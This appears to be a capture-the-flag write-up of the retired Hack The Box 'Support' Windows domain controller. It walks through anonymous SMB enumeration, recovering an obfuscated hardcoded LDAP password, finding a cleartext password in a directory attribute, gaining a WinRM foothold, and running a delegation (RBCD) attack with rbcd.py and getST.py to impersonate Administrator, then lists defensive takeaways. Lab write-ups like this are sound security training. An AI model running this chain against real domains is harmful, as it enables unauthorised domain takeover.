Support

Hack The Box · app.hackthebox.com/machines/Support · retired

Windows Easy Active Directory ● Completed

TL;DR A chain of small misconfigurations ending in full domain compromise: an anonymous SMB share leaked a .NET tool → decompiling it recovered an "obfuscated" LDAP bind password → LDAP exposed a user password in cleartext → WinRM foothold → GenericAll over the DC enabled a Resource-Based Constrained Delegation (RBCD) attack → SYSTEM. No CVE, no exploit — every step was a bad practice.

01Recon

nmap -sC -sV -oN nmap/support 10.10.11.174
# 53 DNS, 88 Kerberos, 139/445 SMB, 389/636 LDAP, 5985 WinRM — classic Windows DC

02Foothold

Anonymous SMB share

An SMB share allowed anonymous listing and exposed a .NET binary, UserInfo.exe:

smbclient -N -L //10.10.11.174/          # enumerate shares anonymously
smbclient -N //10.10.11.174/support-tools
# get UserInfo.exe

Decompile → recover the LDAP bind password

Decompiling the binary (dnSpy / ILSpy) revealed a hardcoded LDAP bind credential that was "protected" with a hardcoded XOR key + base64 — obfuscation, not encryption. Reversing the routine recovered the plaintext bind password in seconds.

LDAP leaks a cleartext user password

Using the recovered bind account to query LDAP, a user's password sat in the info attribute in cleartext:

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w '<recovered-pw>' \
  -b 'DC=support,DC=htb' '(objectClass=user)' info

user.txt<redacted>

evil-winrm -i 10.10.11.174 -u support -p '<ldap-info-pw>'   # WinRM foothold

03Privilege Escalation — RBCD

BloodHound showed the foothold user's group held GenericAll over the Domain Controller computer object. That's enough to stage a Resource-Based Constrained Delegation attack: create a computer account, set it as an allowed delegate on the DC, then request a service ticket impersonating a Domain Admin.

# add a controlled computer account (MachineAccountQuota default = 10)
# set RBCD on the DC, then impersonate Administrator via S4U
rbcd.py -delegate-to 'DC$' -from 'FAKE01$' -action write support.htb/support
getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator support.htb/FAKE01$
# use the ticket -> DA

root.txt<redacted>

04Defensive takeaways

Kill anonymous SMB access — it leaked the initial binary.
Obfuscation ≠ encryption — never hardcode secrets in binaries; XOR+base64 is trivially reversed.
Don't store passwords in directory attributes (info, description).
Audit DACLs on Tier 0 assets — GenericAll on a DC is game over.
Set MachineAccountQuota to 0 to break RBCD at the source.
Defence in depth: the attacker must win every step — the defender only has to win one.

back to writeups